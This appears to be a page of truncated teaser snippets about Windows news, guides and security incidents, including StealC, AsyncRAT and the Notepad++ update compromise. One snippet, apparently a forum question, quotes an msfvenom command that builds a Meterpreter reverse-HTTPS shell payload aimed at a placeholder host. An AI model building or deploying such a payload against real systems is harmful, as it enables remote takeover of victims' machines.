A fake CAPTCHA scam is tricking Windows users into running PowerShell commands that install StealC malware and steal passwords, crypto wallets, and more.

Chinese hackers compromised Notepad++ updates for six months, deploying a backdoor to selectively target users in government ...

DEAD#VAX campaign delivers AsyncRAT via IPFS-hosted VHD phishing files, using fileless memory injection and obfuscated scripts to evade detection.

Are you still using Windows 10 on your desktop or laptop? If so, you need to know this: As of October 14, Microsoft moved the software to its "end of life" phase. What that means is that while Windows ...

If Windows 10 has been your favorite version so far, but you had to move to Windows 11, you're not alone, and you should know that many users share that feeling. Although Windows 11 builds on the ...

Even if you're perfectly content with Windows 10, updates will soon cost extra and you'll eventually need to switch to Windows 11. I compare the two operating systems so you know what to expect upon ...

How come there are no user-agent strings embedded in the shellcode when using this command: msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=443 ...

Shellcode is a specially designed, position-independent binary code that is typically used as a payload in exploits to perform specific operations, such as spawning a shell or gaining control over a ...

Windows Deployment Service (WDS) is a powerful tool that allows network-based installation of Windows OS to computers without needing physical media. This guide will walk us through installing and ...

Customize almost anything about Windows in just a couple of clicks. Ever wish Windows worked just a little bit differently? You're not alone. Windhawk is a free and open source application offering ...

In addition to updating Windows 11 22H2 and 23H2 with the August 2024 non-security update, Microsoft released a new series of improvements for Copilot+ PCs powered by Windows 11 24H2. Windows 11 ...

Forbes contributors publish independent expert analyses and insights. Davey Winder is a veteran cybersecurity writer, hacker and analyst. Less than a month has passed since an issue with a CrowdStrike ...